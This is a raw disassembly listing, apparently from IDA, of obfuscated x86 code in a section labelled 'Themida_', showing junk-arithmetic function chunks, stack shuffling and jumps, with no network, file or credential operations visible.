; START OF FUNCTION CHUNK FOR sub_56EE26
loc_56C763: ; CODE XREF: sub_56EE26-4DC7j
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp+0]
pop esp
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp-0Ch+arg_4], edx
push eax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56EE26
; ---------------------------------------------------------------------------
loc_56C77F: ; CODE XREF: Themida_:0056D84Cj
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_565986
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561D98
loc_56C78B: ; CODE XREF: sub_561D98+25B9j
push dword ptr [esp+0]
pop ebx
add esp, 4
add esp, 4
jmp loc_564F97
; END OF FUNCTION CHUNK FOR sub_561D98
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C79D: ; CODE XREF: sub_56755A-437Dj
mov [esp+2Ch+var_2C], ebx
mov ebx, 34B16292h
add eax, 64B97A09h
sub eax, ebx
sub eax, 64B97A09h
jmp loc_5606B6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C7B6: ; CODE XREF: Themida_:00566077j
pop eax
pop dword ptr [esp]
jmp loc_55E221
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CEC8
loc_56C7BF: ; CODE XREF: sub_56CEC8+1E3Ej
or cl, 56h
push eax
push 692Dh
mov [esp+10h+var_10], edx
mov dh, 3Ah
mov al, dh
push [esp+10h+var_10]
mov edx, [esp+14h+var_14]
add esp, 4
add esp, 4
sub al, 8Ah
sub cl, al
pop eax
jmp loc_568A38
; END OF FUNCTION CHUNK FOR sub_56CEC8
; ---------------------------------------------------------------------------
loc_56C7E5: ; CODE XREF: Themida_:0055F838j
inc ecx
xor ecx, 79824A9Bh
sub eax, ecx
mov ecx, [esp]
push ebp
jmp loc_569171
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C7F7: ; CODE XREF: sub_56755A-A8FCj
not byte ptr [esp+14h+var_14]
jmp loc_560218
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56C7FF: ; CODE XREF: sub_56971C-DF95j
push edi
mov edi, 161E001Eh
jmp loc_563E32
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56C80A: ; CODE XREF: sub_55D71E+8E9Ej
push edx
jmp loc_55F517
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C810: ; CODE XREF: sub_56755A-10B7j
mov esp, [esp+16h+var_18+2]
push edx
jmp sub_560C97
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C819: ; CODE XREF: Themida_:00561BD4j
push eax
push esp
jmp loc_567D28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C820: ; CODE XREF: sub_56755A+6CFBj
push [esp+1Ah+var_1C+2]
jmp loc_562A65
; ---------------------------------------------------------------------------
loc_56C828: ; CODE XREF: sub_56755A-888Bj
pop ebx
xor esi, [esp-4+arg_0]
xor [esp-4+arg_0], esi
xor esi, [esp-4+arg_0]
pop esp
shr ecx, 0Ah
jmp sub_56CEE9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C83B: ; CODE XREF: Themida_:00569026j
pop ecx
xchg edi, [esp]
pop esp
jmp loc_5613BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56C845: ; CODE XREF: sub_56CB7D-9C4Bj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+1Ch+var_1C]
jmp loc_55BCD8
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_56C859: ; CODE XREF: Themida_:0056A3F0j
push 766h
mov [esp], eax
push dword ptr [esp+4]
jmp loc_55C438
; =============== S U B R O U T I N E =======================================
sub_56C86A proc near ; CODE XREF: sub_561D1D+12j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0055B5FD SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BD08 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055BD81 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055F4C1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005618C1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056655C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056909B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056EA4D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056EC21 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005700B7 SIZE 00000024 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov ah, 0Ch
shr ah, 6
neg ah
dec ah
add ah, 2Fh
sub bl, 0E2h
jmp loc_56909B
sub_56C86A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C884: ; CODE XREF: sub_56755A+6F53j
or ecx, 0D9716F2h
sub ecx, 86B3D5DDh
add esi, ecx
pop ecx
add ecx, esi
jmp loc_5661F5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C89A: ; CODE XREF: Themida_:0056CCA4j
sub ecx, edx
pop edx
add edx, 6B315B09h
add edx, ecx
push ebp
jmp loc_55D6F9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C719
loc_56C8AB: ; CODE XREF: sub_55C719+3231j
push esi
jmp loc_566F1E
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_56C8B1: ; CODE XREF: Themida_:00563B48j
pop esi
add esi, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
push edx
mov edx, 2F6D1B3Bh
jmp loc_55CD4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C8CE: ; CODE XREF: sub_56755A-5396j
pop ebx
jmp loc_56824B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56C8D4: ; CODE XREF: Themida_:0056B959j
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_5625D7
; ---------------------------------------------------------------------------
loc_56C8E1: ; CODE XREF: Themida_:005604C3j
pop edx
sub esi, 4
push esi
mov esi, esp
push edx
mov edx, 6872C56h
shr edx, 8
and edx, 8FA6354h
sub edx, 20300h
jmp loc_56FF79
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C905: ; CODE XREF: sub_56755A-61CFj
pop ecx
push [esp-0Ch+arg_8]
mov edx, [esp-8+arg_4]
jmp loc_561486
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5672A7
loc_56C911: ; CODE XREF: sub_5672A7+5A39j
pop esp
mov [esp+0], ebp
mov ebp, 572362DAh
sub ebp, 572362DAh
jmp loc_56800B
; END OF FUNCTION CHUNK FOR sub_5672A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C925: ; CODE XREF: sub_56755A-EEEj
mov ebx, [esp+8+var_8]
add esp, 4
add esp, 4
push 3725h
mov [esp+4+var_4], esi
mov esi, esp
sub esp, 4
mov [esp+8+var_8], edx
push 31E43BEDh
pop edx
jmp loc_5633D1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_56C94F: ; CODE XREF: sub_562C5D-4151j
mov bh, al
pop ax
jmp loc_55E671
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_56C958: ; CODE XREF: sub_55CD7B+67D4j
add edi, 0C6021357h
add edx, edi
pop edi
push edx
jmp loc_5635CD
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_56C967: ; CODE XREF: Themida_:0056ADD5j
add esp, 4
add esp, 4
jmp loc_565234
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C975: ; CODE XREF: sub_56755A+8896j
push esi
push [esp+0Ch+var_8]
mov esi, [esp+10h+var_10]
add esp, 4
jmp loc_55E9DB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56C985: ; CODE XREF: sub_56E89A+1493j
add esp, 4
add ebp, 4
jmp loc_56B6A7
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56C996: ; CODE XREF: Themida_:00565EC7j
sub edx, 0B94EC7E4h
mov ecx, edx
pop edx
sub ecx, 1
push 63E6h
mov [esp], ecx
jmp loc_56D452
; ---------------------------------------------------------------------------
loc_56C9AF: ; CODE XREF: Themida_:005704AEj
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_55FA40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C9C3: ; CODE XREF: sub_56755A-B127j
pop bx
or bl, 9Ch
sub bl, 29h
or cl, bl
mov ebx, [esp+10h+var_10]
add esp, 4
push cx
neg byte ptr [esp+0Eh+var_10+2]
jmp loc_56B6A0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_56C9E0: ; CODE XREF: sub_560B67-1CCj
add esp, 4
push 33B1h
mov [esp+4+var_4], eax
mov eax, esp
push edx
mov edx, 5D8E05F2h
jmp loc_564E50
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56C9FB: ; CODE XREF: sub_56755A-213j
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push 1C1Bh
mov [esp+1Ah+var_1C+2], ecx
push edi
push 7411734h
pop edi
mov ecx, edi
jmp loc_56F65D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CA19: ; CODE XREF: Themida_:0055D0DFj
mov [esp], eax
push esp
jmp loc_56DC85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CA22: ; CODE XREF: sub_56755A+4C26j
pop esp
push esp
jmp loc_560548
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_56CA29: ; CODE XREF: sub_561ED8+D58Bj
sub [esp+0], dl
mov dl, [esp+0]
jmp loc_5650EB
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_56CA34: ; CODE XREF: Themida_:0055E1A7j
mov ecx, [esp]
add esp, 4
push esi
jmp loc_56F41C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_56CA40: ; CODE XREF: sub_562F62-69D6j
push 331B3ECAh
pop edi
sub edi, 0CBD1120h
sub edi, 0DCF112F0h
mov ecx, edi
pop edi
inc ecx
shr ecx, 6
dec ecx
or ecx, 72845581h
shr ecx, 8
add ecx, 1C5E764Fh
add edx, ecx
pop ecx
jmp loc_55BBDB
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5615A9
loc_56CA71: ; CODE XREF: sub_5615A9+EF9Cj
mov cl, 18h
add al, cl
pop cx
sub al, 0FBh
mov dx, [esp+0]
add esp, 2
push edx
mov dl, 1Bh
and dl, 0DBh
not dl
xor dl, 6Ch
jmp loc_55C14A
; END OF FUNCTION CHUNK FOR sub_5615A9
; ---------------------------------------------------------------------------
loc_56CA90: ; CODE XREF: Themida_:0055C40Dj
pop eax
push 3BDh
mov [esp], ebp
pop edi
mov ebp, [esp]
add esp, 4
sub eax, edi
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_55BFCE
; ---------------------------------------------------------------------------
loc_56CAAE: ; CODE XREF: Themida_:00566E37j
not ecx
sub ecx, 55B74EBh
push esi
mov esi, 77A77FE2h
not esi
and esi, 489D769Bh
xor esi, 692E7AC0h
add esi, 0E7DE0A07h
add ecx, esi
pop esi
jmp loc_56D303
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56CAD8: ; CODE XREF: sub_56E55E+9j
push 382D72DDh
pop edi
push ebx
mov ebx, 6A430800h
add ebx, 0D915D3Bh
jmp loc_55C17E
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
loc_56CAEF: ; CODE XREF: Themida_:00564BBCj
push esp
jmp loc_5652B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CAF5: ; CODE XREF: sub_56755A-6C9Bj
mov edx, [esp+1Ah+var_1C+2]
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
push [esp+1Ah+var_1C+2]
jmp loc_56BA6B
; ---------------------------------------------------------------------------
loc_56CB0E: ; CODE XREF: sub_56755A-43CAj
pop ecx
jmp loc_56619E
; ---------------------------------------------------------------------------
loc_56CB14: ; CODE XREF: sub_56755A-691Aj
or ebx, esi
jmp loc_55F0C2
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56CB1B proc near ; CODE XREF: sub_56755A+E29j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C936 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0055D644 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055E3F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560299 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00561601 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561985 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00561C1E SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00561FE6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563FD7 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564840 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056509B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00566B47 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566BF0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00567088 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056BB8C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D55B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056EDFB SIZE 00000013 BYTES
push ebp
push 789F0DCCh
pop ebp
sub ebp, 46F9EAD9h
jmp loc_563FD7
sub_56CB1B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562272
loc_56CB2D: ; CODE XREF: sub_562272+15j
mov esp, [esp+4+var_4]
jmp loc_55C6FA
; END OF FUNCTION CHUNK FOR sub_562272
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_56CB35: ; CODE XREF: sub_5636A9+B2C4j
pop eax
push edx
mov dl, 74h
jmp loc_5655A7
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
loc_56CB3E: ; CODE XREF: Themida_:0055F131j
mov esi, 3718341Fh
xor esi, 1B463D08h
shr esi, 1
xor esi, 162F048Fh
add ecx, esi
pop esi
jmp loc_55F13E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CB59: ; CODE XREF: sub_56755A+7773j
inc ebp
neg ebp
shr ebp, 5
not ebp
xor ebp, 0F4095635h
push edi
mov edi, 744D125Bh
sub ebx, edi
pop edi
add ebx, ebp
add ebx, 744D125Bh
jmp loc_56C101
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56CB7D proc near ; CODE XREF: sub_55C719+E130j
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BCD8 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055C4DC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055CC81 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055D1A8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055D4EF SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055D7E0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055DD87 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055EF6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055FFE2 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00560364 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00560B9F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00560D76 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562F31 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005637C6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00564E7B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005650AE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005669C0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00566D06 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005684CB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568932 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A321 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ABC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056B4A5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B9D3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056C845 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CFA9 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056DD9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056E458 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00570637 SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], edx
push 14EF4829h
pop edx
neg edx
inc edx
sub edx, 0AC35B40Ch
sub esi, edx
mov edx, [esp+4+var_4]
jmp loc_55EF6C
sub_56CB7D endp
; ---------------------------------------------------------------------------
loc_56CB9F: ; CODE XREF: Themida_:00562381j
add edi, edx
pop edx
add edi, 4
push 6C73h
mov [esp], edi
jmp loc_56946A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B62C
loc_56CBB2: ; CODE XREF: sub_56B62C-ED7Fj
xor dh, 9Dh
jmp loc_561107
; END OF FUNCTION CHUNK FOR sub_56B62C
; ---------------------------------------------------------------------------
loc_56CBBA: ; CODE XREF: Themida_:0055B7A2j
xchg ecx, esi
sub esi, 663D6C50h
sub esi, 96FB4040h
add ebx, esi
mov esi, [esp]
jmp loc_561E74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_56CBD2: ; CODE XREF: sub_566FBB-5409j
xor ebx, eax
push 5184h
mov [esp-4+arg_0], esi
push 2A1Eh
mov [esp+0], eax
pop esi
sub esp, 4
jmp loc_5610CC
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CBF0: ; CODE XREF: sub_56755A-2300j
push 1E78h
mov [esp+0Ch+var_C], edi
mov edi, esp
add edi, 4
jmp loc_56BB93
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CC05: ; CODE XREF: Themida_:00566AD1j
sub al, 0D6h
sub al, bl
add al, 0D6h
pop ebx
jmp loc_565C1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1C0
loc_56CC11: ; CODE XREF: sub_56E1C0-10228j
add esp, 4
xchg bl, dl
or dl, 2Ah
shl dl, 4
jmp loc_569C4D
; END OF FUNCTION CHUNK FOR sub_56E1C0
; ---------------------------------------------------------------------------
loc_56CC21: ; CODE XREF: Themida_:0056FBCEj
add esi, 4
push ebp
jmp loc_5608E7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CC2D: ; CODE XREF: sub_56755A-628Aj
sub eax, 3FB05B82h
jmp loc_564FB4
; ---------------------------------------------------------------------------
loc_56CC37: ; CODE XREF: sub_56755A+3E7j
mov edi, 5D69140Bh
or edi, 62576E16h
xor edi, 154C49D4h
dec edi
jmp loc_5658AA
; ---------------------------------------------------------------------------
loc_56CC4E: ; CODE XREF: sub_56755A+5C73j
sub eax, ecx
jmp loc_56F90C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CC55: ; CODE XREF: Themida_:0056DD8Cj
push 4ADEh
mov [esp], ecx
mov ecx, esp
jmp loc_55C56C
; ---------------------------------------------------------------------------
loc_56CC64: ; CODE XREF: Themida_:005647ECj
mov ebp, [esp]
jmp loc_565076
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EB5
loc_56CC6C: ; CODE XREF: sub_560EB5+137Aj
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_560EB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566FBB
loc_56CC71: ; CODE XREF: sub_566FBB-EE4j
push edx
mov edx, 45FE330Fh
push 6B3Eh
jmp loc_56F404
; END OF FUNCTION CHUNK FOR sub_566FBB
; ---------------------------------------------------------------------------
loc_56CC81: ; CODE XREF: Themida_:0056337Cj
add ebp, esi
jmp loc_569A1B
; ---------------------------------------------------------------------------
loc_56CC88: ; CODE XREF: Themida_:00562BA6j
add dword ptr [esp+8], 34355A24h
jmp loc_56AC54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CC95: ; CODE XREF: sub_56755A+1276j
sub al, 0F6h
jmp sub_56AE6C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CC9C: ; CODE XREF: Themida_:0057052Bj
neg ecx
push edx
mov edx, 0FE3C913Ch
jmp loc_56C89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5672A7
loc_56CCA9: ; CODE XREF: sub_5672A7+6j
sub edx, ebp
pop ebp
xchg edx, [esp+0]
pop esp
mov [esp-4+arg_0], esi
mov esi, 1
mov edx, esi
pop esi
push 179Eh
mov [esp-4+arg_0], ebx
mov ebx, 24h
add ebx, edi
push 0FA1h
mov [esp+0], ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
jmp loc_56C911
; END OF FUNCTION CHUNK FOR sub_5672A7
; ---------------------------------------------------------------------------
loc_56CCE5: ; CODE XREF: Themida_:00563CBAj
sub bl, 0AAh
sub al, 4Dh
sub al, bl
jmp loc_566BA1
; ---------------------------------------------------------------------------
loc_56CCF1: ; CODE XREF: Themida_:00564C56j
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push edx
push 4231h
jmp loc_5645E1
; ---------------------------------------------------------------------------
loc_56CD13: ; CODE XREF: Themida_:0055F7EDj
sub ch, 0D9h
jmp loc_55EDA5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56CD1B: ; CODE XREF: sub_56971C-6C91j
pop esi
push esi
sub esp, 4
mov [esp+14h+var_14], ecx
jmp loc_55B779
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_56CD2B: ; CODE XREF: sub_56E55E-1075Aj
pop esp
mov [esp+4+var_4], ecx
push 234Fh
mov [esp+8+var_8], edx
mov edx, 80000h
jmp loc_56F942
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CD41: ; CODE XREF: sub_56755A-672Dj
pop esp
pop ecx
jmp loc_56F5F8
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56CD48 proc near ; CODE XREF: sub_565269-80FCj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055D703 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005611E5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056133B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005638EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005647BD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056525F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00566A1A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00569B85 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056D431 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D7D6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056F958 SIZE 00000006 BYTES
push ebp
pop esi
mov ebp, [esp+0Ch+var_C]
add esp, 4
pop edx
add [edi+24h], esi
jmp loc_5611E5
sub_56CD48 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56CD59: ; CODE XREF: Themida_:00570632j
not al
jmp loc_562F5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CD60: ; CODE XREF: sub_56755A+8099j
sub ax, 6CABh
mov di, word ptr [esp+4+var_4]
push ecx
jmp loc_56BA2F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56CD6E: ; CODE XREF: Themida_:005657E5j
push edi
mov edi, esp
add edi, 4
add edi, 2
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 2
mov [esp], si
push small 1793h
mov [esp], bp
pop si
mov bp, [esp]
add esp, 2
xor [esp], si
jmp loc_560FB0
; ---------------------------------------------------------------------------
loc_56CDA5: ; CODE XREF: Themida_:005608F8j
add esi, ebp
push eax
mov eax, 2A195F92h
add eax, 0E9F81116h
sub esi, eax
pop eax
jmp loc_56357C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566C65
loc_56CDBA: ; CODE XREF: sub_566C65+6j
mov [esp+4+var_4], ecx
push edi
jmp loc_55F092
; END OF FUNCTION CHUNK FOR sub_566C65
; ---------------------------------------------------------------------------
loc_56CDC3: ; CODE XREF: Themida_:00565ECFj
add ax, 47C1h
add ax, 7617h
jmp loc_568292
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55D71E
loc_56CDD0: ; CODE XREF: sub_55D71E+9E2Bj
mov bl, cl
pop ecx
pop eax
pop edx
pop eax
mov [edi+eax*4], bl
mov ebx, [esp-4+arg_0]
add esp, 4
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_55D71E
; ---------------------------------------------------------------------------
loc_56CDE4: ; CODE XREF: Themida_:00565F89j
push esp
mov ebx, [esp]
add esp, 4
push 751h
mov [esp], ebp
sub esp, 4
mov [esp], ebx
mov ebx, 77845D13h
xor ebx, 4A162978h
and ebx, 28FC2D95h
add ebx, 29D10D9Bh
sub ebx, 265D0EE3h
mov ebp, 2422114Fh
add ebp, ebx
pop ebx
sub ebp, 3DA35727h
add ebp, 0ED7D2323h
add ebx, ebp
pop ebp
push ecx
push ebp
mov ebp, 25AA6DD4h
jmp loc_568C0A
; ---------------------------------------------------------------------------
loc_56CE3F: ; CODE XREF: Themida_:0055EF3Ej
push esp
pop eax
sub esp, 4
mov [esp], ecx
push edx
push ebp
mov ebp, 68DB5295h
neg ebp
xor ebp, 9E6083A2h
mov edx, ebp
pop ebp
jmp loc_56FEE1
; ---------------------------------------------------------------------------
loc_56CE61: ; CODE XREF: Themida_:0056EACEj
sub eax, edx
pop edx
jmp loc_55E1AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56CE69: ; CODE XREF: sub_56755A-4B84j
pop ebp
shr eax, 6
jmp loc_56FFC4
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_56CE72: ; CODE XREF: sub_563973-4BB8j
xor edx, ebx
xor edx, 9221B9CFh
jmp loc_561A8B
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
loc_56CE7F: ; CODE XREF: Themida_:0056E439j
add edi, 0BDF7A9F5h
xor esi, edi
pop edi
sub ebp, esi
pop esi
jmp loc_569EBF
; ---------------------------------------------------------------------------
loc_56CE90: ; CODE XREF: Themida_:0055ED92j
mov edi, esp
push 2E32h
mov [esp], ecx
push 4
mov ecx, [esp]
add esp, 4
add edi, ecx
pop ecx
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_55F12D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56CEB9: ; CODE XREF: sub_56F653-1DEBj
add ch, 8
add bh, ch
pop ecx
shl bh, 5
push edx
jmp loc_568BA5
; END OF FUNCTION CHUNK FOR sub_56F653
; =============== S U B R O U T I N E =======================================
sub_56CEC8 proc near ; CODE XREF: sub_56755A-8B71j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
